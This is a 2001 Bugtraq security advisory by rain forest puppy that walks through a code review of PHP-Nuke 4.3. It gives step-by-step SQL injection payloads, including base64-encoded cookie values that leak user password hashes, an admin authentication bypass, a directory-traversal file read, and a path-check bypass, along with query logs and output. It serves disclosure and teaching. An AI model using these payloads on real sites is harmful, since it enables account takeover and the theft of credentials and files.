6092287 2001-02-13 00:59 -0600  /939 rader/ rain forest puppy <rfp@WIRETRIP.NET>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-14  01:47  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: rfp@WIRETRIP.NET
Mottagare: Bugtraq (import) <15429>
Ärende: RFP2101: RFPlutonium to fuel your PHP-Nuke
------------------------------------------------------------
From: rain forest puppy <rfp@WIRETRIP.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.LNX.4.10.10102130057290.20044-100000@eight.wiretrip.net>

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/---- 

                    RFPlutonium to fuel your PHP-Nuke
              SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

Table of contents:

-/ 1 / Standard advisory information
-/ 2 / High and clean overview
-/ 3 / Down and dirty explanation
-/ 4 / New Year BONUS: other tricks
-/ 5 / Resolution

--------------------------------------------------------------------------
Disclaimer: no one is forcing you to read this; stop if you don't want to.
--------------------------------------------------------------------------

-/ 1 / Standard advisory information /------------------------------------

Software package: 	PHP-Nuke
Vendor homepage:	www.phpnuke.org
Version tested:		4.3
Platforms:		Platform-independent (PHP)
Vendor contacted:	12/29/2000
CVE candidate:		CAN-2001-0001
Vulnerability type:	Authentication weaknesses (user and admin)
RFPolicy v2:		http://www.wiretrip.net/rfp/policy.html

Prior problems:		Admin authentication bypass, Aug 2000
			BID: 1592  CVE: CVE-2000-0745  SAC: 00.35.032

Current version:	4.4 (may still be vulnerable; not tested)



-/ 2 / High and clean overview /------------------------------------------

PHP-Nuke is a pretty groovy web portal/news system written in PHP.  I
was actually so impressed with its look, and even more so by some of
its features, that I decided to use it for two upcoming projects, and
like any other piece of code I decide to use, I gave it a quick code
review (via la open source!).  While I was happy with the code in
general, it did exhibit a few security problems involving tampering
with SQL statements.

Rather than write a five-line text saying "PHP-Nuke is exploitable
...blah...blah", I feel it is much more advantageous, from an
educational standpoint, to walk through the process of how this
vulnerability works.  Those of you who want to see more examples of
SQL hacking can take a look at RFP2K01, available at:

	http://www.wiretrip.net/rfp/p/doc.asp?id=42

This is also not an extremely useful hack--it allows you to
impersonate other users and retrieve their password hashes.  It also
has a caveat that could allow an attacker to easily brute force an
author (admin) password.



-/ 3 / Down and dirty explanation /--------------------------------------

First off, to better aid SQL hacking, it helps to turn on SQL query
logging.  In MySQL, this is a matter of adding the '-l logfile'
parameter to (safe_)mysqld when starting it.

Next, let's take a look at the code.  Since this is written in PHP
and uses MySQL, our target function is mysql_query().  So let's grep
for all uses of mysql_query():

[rfp@cide nuke]# ls 
admin/        config.php   index.php         print.php     topics.php
admin.php     counter.php  language          scroller.js   ultramode.txt
article.php   dhtmllib.js  links.php         search.php    upgrades
auth.inc.php  faq.php      mainfile.php      sections.php  user.php
backend.php   footer.php   manual/           stats.php     voteinclude.php
banners.php   friend.php   memberslist.php   submit.php 
cache/        header.php   pollBooth.php     themes/
comments.php  images/      pollcomments.php  top.php

[rfp@cide nuke]# grep mysql_query *
admin.php:      $result = mysql_query("SELECT qid FROM queue");
.... 254 more lines of SQL queries that I don't want to print here ....

Now, lets take a look at those that contain variables, since it’s
possible user input is contained in those variables.  For example, a
few select lines from that output:

article.php:    mysql_query("update users set umode='$mode',
		uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php:    mysql_query("delete from banner where bid=$bid");

comments.php:   $something = mysql_query("$q");

user.php:       $result = mysql_query("select email, pass from users where
		(uname='$uname')");

index.php:      mysql_query("insert into referer values (NULL, '$referer')");


The query from article.php contains four variables: $mode, $order,
$thold, and $cookie[0].  The banners.php is interesting, because it
seems that the entire query is contained within the $q variable,
meaning we must look inside the file to see what the value is.  In
doing that, we get:

        $q = "select tid, pid, sid, date, name, email, url, host_name,
	subject, comment, score, reason from comments where sid=$sid 
	and pid=$pid";
        if($thold != "") {
                $q .= " and score>=$thold";
        } else {
                $q .= " and score>=0";
        }
        if ($order==1) $q .= " order by date desc";
        if ($order==2) $q .= " order by score desc";


So we see that $q used the variables $sid and $pid, and perhaps
$thold, if it's defined.

So what do we do now?  Well, let's take a look at what is actually in
some of those variables.  We’ll start with the above query listed for
article.php.  Here is the actual code, with comments removed:

	<?PHP

	if(!isset($mainfile)) { include("mainfile.php"); }
	if(!isset($sid) && !isset($tid)) { exit(); }

	if($save) {
        	cookiedecode($user);
        	mysql_query("update users set umode='$mode', uorder='$order',
		thold='$thold' where uid='$cookie[0]'");
	        getusrinfo($user);
        	$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
		"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
		"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
	        setcookie("user","$info",time()+$cookieusrtime);
	}

(Note: the code was reformatted for display in this advisory)

So we see that nothing is apparently done to $mode, $order, $thold,
or $cookie[0].  However, mainfile.php is included and something may
be happening in the cookiedecode() function, so we need to check them
out.

First, let's see if mainfile.php defines the variables $mode, $order,
$thold, or $cookie:

	[rfp@cide nuke]# grep \$mode mainfile.php 
	[rfp@cide nuke]# grep \$order mainfile.php 
	[rfp@cide nuke]# grep \$thold mainfile.php 
	[rfp@cide nuke]#

Hmm, so mainfile.php doesn't do anything with those variables.
However, a plethora of stuff is returned for $cookie (this is not
shown).  This is due to cookiedecode() (and other similar functions)
contained in mainfile.php.  So, here is the code to cookiedecode():

	function cookiedecode($user) {
        	global $cookie;
        	$user = base64_decode($user);
        	$cookie = explode(":", $user);
        	return $cookie;
	}

The call to cookiedecode() takes the string in $user, base64 decodes
it, and then splits it into parts around the ':' character, putting
it into the array $cookie[].  This makes sense, since the above SQL
query is using $cookie[0], the first element of the array.

Huh? Where does $user come from?  A grep through mainfile.php shows
that $user is only used in functions.

Wow.  That means the author does not do *anything* to $user (which is
decoded and split into $cookie[0]), $mode, $order, $thold.  For those
of you that are not familiar with PHP, PHP will define global
variables with values taken from URL parameters.  For example, a
query of:

	/somefile.php?varb1=rain&value2=forest¶m3=puppy

will make three global variables in the script $varb1, $value2, and
$param3 with the values of 'rain', 'forest', and 'puppy',
respectively.  This means that we can plug in arbitrary values for
$mode, $order, and $thold for article.php by requesting an URL that
looks something like:

	/article.php?mode=rain&order=forest&thold=puppy

But before we do that, there's one more piece we're forgetting, the
snippet:

	if($save) {
		...

That means the $save variable has to be set.  A quick grep through
mainfile.php shows that $save is not referenced, meaning it needs to
be included in the URL. This gives us:

	/article.php?mode=rain&order=forest&thold=puppy&save=1

So let's try it.  Requesting this page, nothing is returned, because I
forgot about the following line:

	if(!isset($sid) && !isset($tid)) { exit(); }

Ugh, so we need to add $sid and $tid to the URL line, which is now:

	/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

This returns a page that has an error.  Looking at our mysql query
logs, there's an entry for:

	1 Query      update users set umode='rain', uorder='forest',
			thold='puppy' where uid=''

This proves that it's working. We can now submit values into the SQL
query.  We now need to see if we can *tamper* with the query.  We
will attempt to ‘rewrite’ the query so that it will include other
SQL code.  Doing this involves some trickery: the addition of some
extra single quotes.  What we'll do is change $thold to read:

		puppy', thold='puppy

This should result in a query that looks like:

	update users set umode='rain', uorder='forest',
		thold='puppy', thold='puppy' where uid=''
                       ^^^^^^^^^^^^^^^^^^^^
                        the data we submit

Sure, it's not exactly a useful SQL statement, but we're only
verifying our exploit method.  So let's fire that into the URL and
submit it:

	/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&
		save=1&sid=0&tid=0

(Note: URL is wrapped)

This results in a mysql log of:

	5 Query      update users set umode='rain', uorder='forest',
		thold='puppy\', thold=\'puppy' where uid=''

DRAT!  It seems PHP automatically escapes the ' (it changes them into
\') when they are processed from URL parameters.  Granted, I'm using
PHP 4, so perhaps PHP 3.x doesn't, but still.  From the exploit
angle, this sucks.  From the security angle, this rocks.  But I may
be overlooking something--if anyone sees something I'm missing, drop
me an email; however, please look at the code first--thoughtful
assumptions and hunches as to why/how this is happening are nice, but
my inbox is already overflowing as it is. :)

Anyway, all is not lost.  At this point, we know that global
variables being thrown into SQL statements *may* sometimes be safe
(it may be PHP version dependant).  But let's go back and look at the
cookiedecode() function.  It takes a global value ($user), base64
decodes it, splits it, and puts it into the $cookie[] array.  Note
that $user could be in a HTTP cookie, or it could be a URL
parameter--PHP doesn't make a distinction (well, at least this code
doesn't).

Since the actual value is encoded by base64 encoding, PHP doesn't do
any escaping on the value that's encoded.  Meaning whatever we put in
the $user value should be safe.  Let's see.

First, we need to get the right value.  Since cookiedecode() expects
to split a value with the ':' character and use the first value, we
at least need 'something:' as our value.  The 'something' is our
text.  For now, we'll set it to be 'www.cipherwar.com:'.  Now, we
need to base64 encode it.  A quick little commandline ditty:

	[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
	begin-base64 644 f
	d3d3LmNpcGhlcndhci5jb206
	====

This means we need to add the following to our URL:

	&user=d3d3LmNpcGhlcndhci5jb206

And when I run the above URL with the extra user parameter, my mysql
logs show:

	7 Query      update users set umode='rain', uorder='forest', 
			thold='puppy' where uid='www.cipherwar.com'

Rock!  Ok, now can we escape the SQL statement?

	[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" | 
		uuencode -m f
	begin-base64 644 f
	d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
	====

Putting that in the URL and submitting it, my mysql log now shows:

	3 Query      update users set umode='rain', uorder='forest',
			thold='puppy' where uid='www.cipherwar.com' 
			or uid='1'

!@$%! It worked!  As we can see, our values are unmolested, allowing us to
tamper with the query.  However, we're slightly limited in our
exploitation, due to a few caveats of MySQL.  For those of you who are
familiar with SQL hacking, and particularly some of the tricks I've
published in the past, MySQL does not allow multiple SQL commands to be
submitted in one query.  That means something like:

	mysql_query("select * from table1; select * from table2");

It does not run two 'selects'--it only runs the first, and drops the
second into oblivion.  However (don't lose hope), I found this tidbit
on the MySQL TODO list:

	Fix `libmysql.c' to allow two mysql_query() commands in a row
	without reading results or give a nice error message when one
	does this.

But also listed on the TODO list:

	Subqueries. select id from t where grp in (select grp from g
	where u > 100)

Both of which would greatly increase the SQL hacking aspect of
MySQL. :) In the meantime, that doesn't help us (unless the site
rewrote PHP-Nuke to use a different database engine, such as
Postgres.  But this is doubtful).   This means we have the limitation
of only tampering with the query given (i.e. we can't add a separate
query).  Since PHP escapes URL parameter variables we are also
limited, unless the query contains a variable that was parsed by the
script in some form (such as with cookiedecode()).   Hmm, that's
quite a few limitations.

So let's look at the query we've been running:

                mysql_query("update users set umode='$mode',
                uorder='$order', thold='$thold' where
                uid='$cookie[0]'");

By specifying an arbitrary uid value, we can clobber the umode,
uorder, and thold values of any user.  Though annoying, it is hardly
a critical security problem, since umode, uorder, and thold are just
the display preferences of a user.  Let's look at the entire code
snippet:

        if($save) {
                cookiedecode($user);
                mysql_query("update users set umode='$mode', uorder='$order',
                thold='$thold' where uid='$cookie[0]'");
                getusrinfo($user);
                $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
                "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
                "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
                setcookie("user","$info",time()+$cookieusrtime);   
        }


After calling cookiedecode() and running the first query, there's a
call to getusrinfo(), and then a bunch of the user's information is
base64 encoded and sent to us as a cookie.  However, notice!  The
$userinfo[pass] value is included!  This means, if we're careful, we
may possibly be sent a cookie that contains a user's password.  All
we need to do is get past getusrinfo():

	function getusrinfo($user) {
        	global $userinfo;
        	$user2 = base64_decode($user);
        	$user3 = explode(":", $user2);
        	$result = mysql_query("select uid, name, uname, email, 
			femail, url, pass, storynum, umode, uorder, 
			thold, noscore, bio, ublockon, ublock, theme,
			commentmax from users where uname='$user3[1]' 
			and pass='$user3[2]'");
	        if(mysql_num_rows($result)==1) {
        	        $userinfo = mysql_fetch_array($result);
	        } else {
        	        echo "<b>A problem occured</b><br>";
	        }
        	return $userinfo;
	}


Hmm, ok, let's see.  Again, it takes the $user value, base64 decodes
it (just like cookiedecode()), then runs a query using parts 2 and 3
from the cookie ($user3[1] and $user3[2], respectively).  However, to
correctly work, we need to know the right uname and pass of the
target user, otherwise the SQL query will return 0 rows, and will
display "A problem occured".  If we already know the username and
password of a user, we wouldn't be going through this, now would we?

So, can we tamper with the query?  We're looking to return all the
user data for the record where "uname='name' and pass='password'".
Perhaps if we broaden the search criteria, we can do better.
Consider a query that looks like:

	... where uname='name' and pass='password' or uname='name'

Logically, the query is grouped like so:

	... where (uname='name' and pass='password') or (uname='name')

So now, if we know a user's username (which we should), but not their
password, the first clause will fail; however, the second will
succeed!   Or at least, that's the plan....

So let's test that hypothesis.  Now we need to make our $user variable
contain something like:

	uid:username:blah' or uname='username

On my system I want to target the user 'test1'.  So I'm going to try
the values:

	1:test1:blah' or uname='test1

Now, let's encode that:

	[root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | 
		uuencode -m f
	begin-base64 644 f
	MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
	====

Put that in our query above, and try it out.  Lo and behold, I'm sent
a Cookie that looks like:

	Set-Cookie:
	user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
	expires=Friday, 29-Dec-00 20:14:00 GMT

Now, the user value is base64 encoded.  I have my own way to base64
decode stuff, but to be compatible with what I've been writing
(i.e. using the command line), the best way is to create a file
(let's call it 'encode') with the following contents:

	begin-base64 666 user
	MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
	===

Note: replace all %3D with '=', and don't include the ending ';'

Now, run the following command:

	[root@cide nuke]# uudecode encode; cat user
	uudecode: encode: illegal line
	1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

And there we go--that's the uid, username, password, etc of the
target user (test1).  Now, before you think that I use *really*
strong passwords, you should know that PHP-Nuke uses password
hashing.  That means you'll have to crack the password hash to get
the actual password.

But does that matter?  I'm going to hop over to user.php.  User.php
is the script that manages user information, including login, new
user registrations, user information changes, etc.  Particularly,
what does it take to change a user's information?  Well, let's see:

	function edituser() {
	        global $user, $userinfo;
        	include("header.php");
	        getusrinfo($user);
	        nav();
        ?>
        <table cellpadding=8 border=0><tr><td>
        <form action="user.php" method="post">
        <b><?php echo translate("Real Name"); ?></b> <?php echo
	translate("(optional)"); ?><br>
        <input class=textbox type="text" name="name" value="<?PHP
	echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
	...

Hmmm, so it includes header.php (which just inserts the correct
heading HTML for the user's preferred theme).  Then it calls
getusrinfo().  Well, we just went through how we can abuse
getusrinfo() to set $userinfo to any value.  After edituser() calls
getuserinfo(), it then calls nav(), followed by starting to print out
all the user's information.  So, it seems, if we have the valid user
cookie, we can successfully become that user--we don't even need to
crack the password.

But the edituser() function is called when we want to view
information. If we want to modify a user's information, we'd have to
get past the saveuser() function, which starts off with:

	function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
		$vpass, $bio) {
    		global $user, $cookie, $userinfo, $EditedMessage, 
			$system, $minpass;
    		cookiedecode($user);
    		// Vulnerability fix thanks to DrBrain
    		$user_check=$cookie[1];
    		$result=mysql_query("select uid from users where
			uname='$user_check'");
    		$vuid=mysql_result($result,0,"uid");
    		if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
			...

Of course, what's interesting about this is that it was already
'fixed' for a security vulnerability.  Let's take a look at what the
code is doing...

cookiedecode() decodes the $user value into the $cookie array.  We
supply the $uid, $user, and $uname values.  So the pseudo-code for
this looks like:

	- Decode $user into $cookie array

	- Look up the uid of the user given in $cookie (from $user, which 
		we supply)

	- If the username in $cookie (which we give) matches the username
		in $uname (which we give), and the $uid (which we give)
		matches the uid of the username given in $cookie (which we
		give), then proceed

It seems the actual crux of this code makes sure our supplied cookie
matches the username we're giving as a parameter, and that we know
the correct userid (uid) to go along with our target username.  If we
go back up to the edituser() above, you'll find out that the uid of
the username queried is returned as a hidden field (I didn't include
that snippet of code).  So we can do a query to edituser() to get the
uid, and then to saveuser() with the approriate cookie, uname, and
uid values.

But of course, what good does that do?  Sure, we can take over user
accounts.  But the gem would be something with administrative access,
which in PHP-Nuke's case, are considered 'authors'.

So what do we know about author accounts?  Taking a peek in nuke.sql,
which is the initial SQL script for PHP-Nuke, we see that author and
user information are kept in separate tables--that means we need to
find a SQL query that is querying the author table specifically.  So,
let's see:

	[root@cide nuke]# grep mysql_query *|grep author

	admin.php:      $result = mysql_query("select radminarticle,
	radmintopic,radminleft,radminright,radminuser,radminmain,
	radminsurvey,radminsection,radminlink,radminephem,radminfilem,
	radminhead,radminsuper from authors where aid='$aid'");

	auth.inc.php:   $result=mysql_query("select pwd from authors where
	aid='$aid'");

	auth.inc.php:  $result=mysql_query("select pwd from authors
	where aid='$aid'");

	mainfile.php:   $holder = mysql_query("SELECT url, email FROM authors
	where aid='$aid'");

	mainfile.php:   mysql_query("insert into stories values (NULL,
	'$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
	'$author', '$notes')");

	search.php:  $thing = mysql_query("select aid from authors
	order by  aid");

	stats.php:$result = mysql_query("select * from authors");

	top.php:$result = mysql_query("select aid, counter from
	authors order  by counter DESC limit 0,$top");

Hmm, so only 8 hits.  The second query in mainfile.php doesn't
actually query the “author” table, and the stats.php doesn't
include any variables, so those can be scratched.  Top.php is
severely limited--if MySQL allowed extra queries to be appended (like
I've discussed in the past and above), then it would have
possibility; but in our case, it doesn't, so we don't need to spend
time on it.  Mainfile.php doesn't retrieve any interesting
information from the “author” table, so we can't really abuse
it.  So that leaves us with admin.php and auth.inc.php.

Admin.php is the page where administrators log in and perform
administrative functions.  The first thing admin.php does is call
auth.inc.php, so that means, essentially, we need to fool
auth.inc.php to do anything we want.  Now, there are two pieces to
auth.inc.php...the initial login, and the standard author password
check:

initial login:

	if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
	  if($aid!="" AND $pwd!="") {
            $result=mysql_query("select pwd from authors where aid='$aid'");
            list($pass)=mysql_fetch_row($result);
            if($pass == $pwd) {
              $admin = base64_encode("$aid:$pwd");
              setcookie("admin","$admin",time()+2592000);
            }
    	  }
	}


standard author password check:

	if(isset($admin)) {
  	  $admin = base64_decode($admin);
  	  $admin = explode(":", $admin);
  	  $aid = "$admin[0]";
  	  $pwd = "$admin[1]";
  	  if ($aid=="" || $pwd=="") {
    	    $admintest=0;
    	    echo .... bunch of HTML ....;
    	    exit;
  	  }
  	  $result=mysql_query("select pwd from authors where aid='$aid'");
  	  if(!$result) {
  	    echo "Selection from database failed!";
   	    exit;
  	  } else {
    	    list($pass)=mysql_fetch_row($result);
    	    if($pass == $pwd && $pass != "") {
     		$admintest = 1;
    	    }
  	  }
	}


Now, what's interesting about the initial login snippet is that, like
article.php, if we can trick it into thinking we're the user, it will
return to us a cookie with the username and password.  However, to
get author status, we need to trick the standard author password
check snippet into setting $admintest=1.

Looking at the initial login snippet, we see that we need to tamper
with the $aid parameter; but, as discussed earlier, PHP doesn't allow
us to include SQL escaping tricks, so it's a relative dead end.

Now the other snippet pulls those values from the $admin 'cookie'
value, which we know we can tamper with (as seen earlier).  So we're
really left dealing with the following query:

	$result=mysql_query("select pwd from authors where
aid='$aid'");

And we must meet this requirement:

	if($pass == $pwd && $pass != "") {

Hmm, that's tough.  We must somehow manipulate the query to return a
known value, that cannot be blank.  Given the query, it will only
return values in the 'pwd' column.  Heck, if we knew those values
already, we wouldn't need to be doing this.  So I sat stumped, trying
to figure out what to do.  Then something occurred to me.  We need to
know the value the query is going to return.  That value needs to be
the password of an existing author.  So, what if we did a search for
the password?  Imagine this query:

	select pwd from authors where aid='arbitrary' or
pwd='password'

This would perform a query and select records where aid had a value
of 'arbitrary' or password had a value of 'password'.  Hmmm.  So what
good is that?

What's advantageous about this is that it will match if *any* author
has the 'password' (or whatever we specify) as their password.  We
can manipulate it by supplying an aid value of:

	' or pwd='common_password

So then if any author has a password that matches what we sent
(common_password in this case), the $pwd variable is sent to
'common_password'.  If we also set pass=commmon_password, then
$pass==$pwd, and we're authenticated as an author.  Actually, we're
authenticated as the author that has the password we supplied.
PHP-Nuke does allow different 'rights' to be set for each author, and
we many not have rights to do anything, but still, we have author
status.  That's all this exercise was meant for.

Before you become really disappointed, you should take a look at some
of the options available to authors.  Surprisingly, no rights are
required to do such things as run 'env' (which essentially gives you
php_info()), 'show' (view arbitrary files viewable by the webserver's
uid), 'chdr' (get nicely formatted directory listings), 'edit' (write
contents into files writable by the webserver's uid), etc.

As far as SQL hacking goes, that's it for PHP-Nuke.  Hope you enjoyed
the long example!



-/ 4 / New Year BONUS: other tricks /------------------------------------

PHP-Nuke includes a few other things that I felt would be nifty to
point out, in regards to this being an educational walk-through in
reviewing PHP code.

When I sit down to review some code, the first things I look at are
system-interaction functions--particularly filesystem interaction and
command execution.  In PHP, some of the target functions include:

	exec()		- run external commands
	passthru()	- run external commands
	system()	- run external commands

	fopen()		- open a file (or URL)
	readfile()	- output a file (or URL)
	include()	- include a file (or URL)
	include_once()	- (same as include)

The first three deal with executing programs.  The other four deal
with reading files.  Note that require()/require_once() are expanded
on initialization, meaning there is no room to tamper with them
during execution and therefore they are not reviewed.

So, how do I start evaluating the use of these functions?  The easiest
place to start is grep:

	[root@cide nuke]# grep exec * stats.php:$time =
	(exec("date")); stats.php:$uptime_info = "Uptime:"
	. trim(exec("uptime")) . "\n\n"; stats.php:exec ("df", $x);

Hmm, three hits.  However, none of them contain any variables (the $x
in the 'df' one is for output), so we can't tamper with any of them.
Moving on...passthru() doesn't yeild any hits.  System() yeilds some
hits, but they are mostly text and variable names--no actual use of
the system() function.

So let's move on to the file functions.  What's unique to PHP is that
you can actually supply an URL to a file function, and PHP will
remotely fetch it and use it.  So this gives us the added bonus of
possibly being able to pull in code from external systems--a fun
feature indeed!

So let's see:

	[root@cide nuke]# grep fopen *
	admin.php:      $fp=fopen($basedir.$file,"w");
	admin.php:      $fp=fopen($basedir.$file,"r");
	admin.php:      $fp=fopen($basedir.$filelocation,"w");
	mainfile.php:    $file = fopen("$ultra", "w");
	mainfile.php:   $fpread = fopen($headlinesurl, 'r');
	mainfile.php:       $fpwrite = fopen($cache_file, 'w');

Hmm, well the admin.phps are promising, pending on where $basedir and
$file/$filelocation are defined.  Same with mainfile.php and
$headlines/$cache_file.  So looking at admin.php we see that $basedir
is defined at:

	$basedir = dirname($SCRIPT_FILENAME);

This is essentially the directory where the script is.  Looking
around, you can see that $file is not defined anywhere, meaning we
can specify it in the URL parameters!  Looking at the 'show' and
'edit' operations in admin.php, our hunch is right--'show' will open
the file specified by $basedir.$file, just like edit.  We can't
really control $basedir, but we can control $file.  So if we use '..'
(otherwise known as "reverse directory traversal", and **NOT
TRANSVERSAL**!...'traverse' means to move or travel
along...'transverse' means to be crosswise or at an angle with.
Sorry, pet peeve.)  That means calling the 'edit' operation in
admin.php with a file parameter set to something like
'../../../../etc/hosts' allows us to view the contents of the
system's hosts file.  The other fopen's can be abused in the same
manner.

So let’s move on to mainfile.php.  Looking at $headlinesurl:

	$result = mysql_query("select sitename, url, headlinesurl from
		headlines where status=1");
	while (list($sitename, $url, $headlinesurl) =
		mysql_fetch_row($result)) {

It’s a static query into the headlines table.  Unless we can insert
values into the headlines database, it's not much good to
us. $cache_file is defined as:

	$cache_file = "cache/$sitename.cache";

using the $sitename from the same query as $headlinesurl.

Moving on to include_once() and readfile(), returns zero hits.  But
include() is used a lot...in fact, it’s used 355 times.  But that's
because it's used to include other files, particularly the header and
footer of the theme, etc.  Considering we're only interested in
include()'s that contain variables, we can filter out the cruft and
keep the interesting ones:

	footer.php:   include("themes/$cookie[9]/footer.php");
	footer.php:   include("themes/$Default_Theme/footer.php");
	header.php:   include("themes/$cookie[9]/theme.php");
	header.php:   include("themes/$cookie[9]/header.php");
	header.php:   include("themes/$Default_Theme/theme.php");
	header.php:   include("themes/$Default_Theme/header.php");
	mainfile.php: include("language/lang-$language.php");
	mainfile.php: include($cache_file);

header.php and footer.php use the include()'s to include the
appropriate file for the user's preferred theme (or uses the
$Default_Theme if not specified). $language and $cache_file are also
defined in mainfile.php, so mainfile.php is a dead end.  Let's look
at header.php. The relevant code looks like:

	if (!isset($index)) {
        	include("config.php");
        	global $artpage, $topic;
    	} else {
        	global $site_font, $sitename, $artpage, $topic, $banners,
		$Default_Theme, $uimages;
    	}

	....

        if(isset($user)) {
                $user2 = base64_decode($user);
                $cookie = explode(":", $user2);
                if($cookie[9]=="") $cookie[9]=$Default_Theme;
                if(isset($theme)) $cookie[9]=$theme;
                include("themes/$cookie[9]/theme.php");
                include("themes/$cookie[9]/header.php");
        } else {
                include("themes/$Default_Theme/theme.php");
                include("themes/$Default_Theme/header.php");
        }


So here we see the include is using $cookie[9] if $user is set, or
$Default_Theme if not.  $Default_Theme is defined in config.php,
which is included above if $index is not defined.

Did you get that?  Perhaps you should read it again..."$Default_Theme
is defined in config.php, which is included above if $index is not
defined."   Huh. So if we define $index (by including index=1 in our
URL), config.php is NOT included, and therefore we can specify an
arbitrary $Default_Theme value in the URL as well.  Let's test this.

I'm going to request the following URL:

	/header.php?index=1&Default_Theme=rain.forest.puppy

I'm greeted with the following PHP errors:

	Warning: Failed opening 'themes/rain.forest.puppy/theme.php'
	for  inclusion (include_path='') in
	/home/httpd/html/nuke/header.php on line 97

	Warning: Failed opening 'themes/rain.forest.puppy/header.php'
	for inclusion (include_path='') in
	/home/httpd/html/nuke/header.php on  line 98

Wow, it worked.  So, can we submit values for Default_Theme that would
allow us to include arbitrary files?  Unfortunately the 'themes/' is
prefixed, so we can't use PHP's cool remote-URL-fetch-file-include
feature.

We can definately use '..' notation to go into parent directories.
However, the problem is that '/theme.php' is always appended to
whatever we submit.  We can't view '../../../../etc/hosts' because
the final include() is called with the value:

	themes/../../../../etc/hosts/theme.php

So we need to somehow ditch the extra '/theme.php' that's being
appended.  Those of you who read my Phrack 55 article ("Perl CGI
Problems") may recall the 'Poison Null Byte' scenario I talked about.
For those of you who haven't read it, a copy is available at:

	http://www.wiretrip.net/rfp/p/doc.asp?id=6

The Poison Null Byte scenario involves submitting a NULL character in
an attempt to get the application to ignore the extra appended crap.
The theory goes something like this:

- I submit:
	
	 ../../../../etc/hosts<NULL>

(<NULL> is the NULL character, and not the 6-character string <NULL>)

- The application puts it all together into:

	themes/../../../../etc/hosts<NULL>/theme.php

- The application gives it to the sytem to include()

- The system reads up the NULL byte, and stops there, since system
	functions are built to stop processing a string once a NULL byte
	is reached

- Since the system stops at the NULL byte, they are effectively opening
	themes/../../../../etc/hosts

So I tried it.  And it doesn't work.  In fact, I tried all 255 values
(every possible character)--nadda.  PHP is smart and doesn't fall for
that trick.  So this attack won't work, unless someone knows some way
to fool PHP like you can fool the other scripting languages.  But I
thought it had some educational value and was worth mentioning.

There is one last thing I’d like to point out.  The admin.php script
include()'s a bunch of supporting scripts found in the /admin/
directory.   Each of these scripts includes a 'safety check' that
looks like:

	if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }

This essentially scans the URL to see if admin.php is the file being
used (i.e. we're calling admin.php, and admin.php is then
include()'ing the file, versus us calling it directly).  However, the
regex performed by eregi doesn't work--all it cares about is that
admin.php is included *somewhere* in the URL.  Imagine the following
request:

	/admin/authors.php/admin.php

This will actually call the /admin/authors.php (which contains the
above safety check).  The extra '/admin.php' is superfluous and not
used.  But the regex performed by eregi() will still see the extra
'/admin.php' part, and therefore it will check out OK.  So the check
was subverted.   However, there is nothing usable (that I saw) in any
of the /admin/ files, and the SQL queries won't work since the SQL
connection info is defined in config.php, which is included via
admin.php (and not in any of the individual /admin/ files).  But it
was still interesting to point out why this method of checking
doesn't necessarily work.



-/ 5 / Resolution /------------------------------------------------------

Well, as indicated at the start of this document, I contacted the
author on Dec 29, 2000.  Unfortunately, I believe the author
misunderstands my intentions.  The authors view, in regards to
security, can be viewed at the following two locations:

http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
http://www.securityfocus.com/archive/1/162261 

Of course, his point is valid: people point out flaws, and don't help
fix them.  I offered my assistance in patching, but he was rather
nonplussed in communication with me.

Which is awkward, because I want to use PHP-Nuke.  To date, I've
spent some 30-odd total hours of my freetime patching the code.
However, at the same time, PHP-Nuke 4.4 was about to be released.
What I *didn't* want to do was create a code fork by releasing
security patches for 4.3 in parallel with 4.4.  So the delay in this
advisory release was to wait for 4.4, and give the author a chance to
fix the problems he was notified about.

So the final resolution?  PHP-Nuke 4.4 was released on Feb 8, 2001.
The author knew about the problem for 40+ days.  The fixes may or may
not be in version 4.4.  If they are, kudos for PHP-Nuke.  If not,
well, you be the judge.



-/ acks /----------------------------------------------------------------

            Special thanks to Zope Kitten for fixin' muh spelin'

-----/ RFP2101 /-----------/ rfp.labs / wiretrip / rfp@wiretrip.net /----
(6092287) --------------------------------(Ombruten)